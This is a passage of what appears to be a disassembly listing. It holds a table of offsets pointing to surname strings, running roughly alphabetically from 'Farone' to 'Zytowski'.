dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
